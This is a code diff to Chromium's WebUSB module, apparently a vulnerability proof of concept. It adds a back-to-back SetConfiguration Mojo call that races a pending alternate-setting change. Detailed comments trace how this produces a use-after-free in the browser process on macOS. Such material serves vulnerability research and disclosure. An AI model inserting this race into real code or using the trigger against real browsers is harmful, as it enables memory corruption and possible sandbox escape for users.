diff --git a/third_party/blink/renderer/modules/webusb/usb_device.cc b/third_party/blink/renderer/modules/webusb/usb_device.cc index 18654d3900f1b..aa22d2b8e18de 100644 --- a/third_party/blink/renderer/modules/webusb/usb_device.cc +++ b/third_party/blink/renderer/modules/webusb/usb_device.cc @@ -415,10 +415,54 @@ ScriptPromise USBDevice::selectAlternateInterface( auto promise = resolver->Promise(); device_requests_.insert(resolver); + // ============================================================================ + // POC INJECTION: Simulate a compromised renderer. + // + // Normally, EnsureNoDeviceOrInterfaceChangeInProgress() (line 270) blocks + // selectConfiguration() while interface_state_change_in_progress_ is set + // (set at line 411 above). A compromised renderer ignores that guard and + // sends raw Mojo IPC directly on the device.mojom.UsbDevice pipe. + // + // We send TWO Mojo messages back-to-back, in the SAME message loop turn, + // without awaiting either reply: + // + // 1. SetInterfaceAlternateSetting(iface, alt) + // -> Browser UI thread: DeviceImpl::SetInterfaceAlternateSetting + // -> UsbDeviceHandleImpl::SetInterfaceAlternateSetting (line 623) + // -> claimed_interfaces_.contains(iface) check passes (line 629) + // -> POSTS SetInterfaceAlternateSettingBlocking to + // blocking_task_runner_ (line 634). Holds NO ref to + // the InterfaceClaimer -- only the bare int. + // -> ThreadPool worker dequeues, calls + // libusb_set_interface_alt_setting (line 949). + // -> core.c:1625 take dev->lock, 1631 check bit, + // 1635 RELEASE lock, 1637 enter darwin backend UNLOCKED. + // -> darwin_usb.c:1289 SetAlternateInterface -- BLOCKS for + // ~1-10ms on Mach IPC to IOUSBFamily kext (USB control xfer). + // + // 2. SetConfiguration(active_configuration) -- sent immediately after. + // -> Browser UI thread: DeviceImpl::SetConfiguration (zero validation) + // -> UsbDeviceHandleImpl::SetConfiguration (line 559) + // -> line 571: claimed_interfaces_.clear() ON THE UI THREAD + // -> InterfaceClaimer refcount 1->0 (no Transfers exist) + // -> ~InterfaceClaimer SYNCHRONOUSLY on UI thread + // -> DCHECK_CALLED_ON_VALID_SEQUENCE -- stripped in release + // -> libusb_release_interface (line 161) ON UI THREAD + // -> core.c:1581 take dev->lock (FREE -- worker + // released it at step 1 line 1635) + // -> darwin_release_interface concurrently with + // darwin_set_interface_altsetting + // -> 1270 Release() FREES IOUSBInterfaceInterface550 + // -> When worker returns from SetAlternateInterface: + // get_endpoints (1294) -> 1115 fresh load + COM + // vtable double-deref on freed system-malloc ptr. + // ============================================================================ device_->SetInterfaceAlternateSetting( interface_number, alternate_setting, BindOnce(&USBDevice::AsyncSelectAlternateInterface, WrapPersistent(this), interface_index, alternate_index, WrapPersistent(resolver))); + device_->SetConfiguration(device_info_->active_configuration, + base::DoNothing()); return promise; }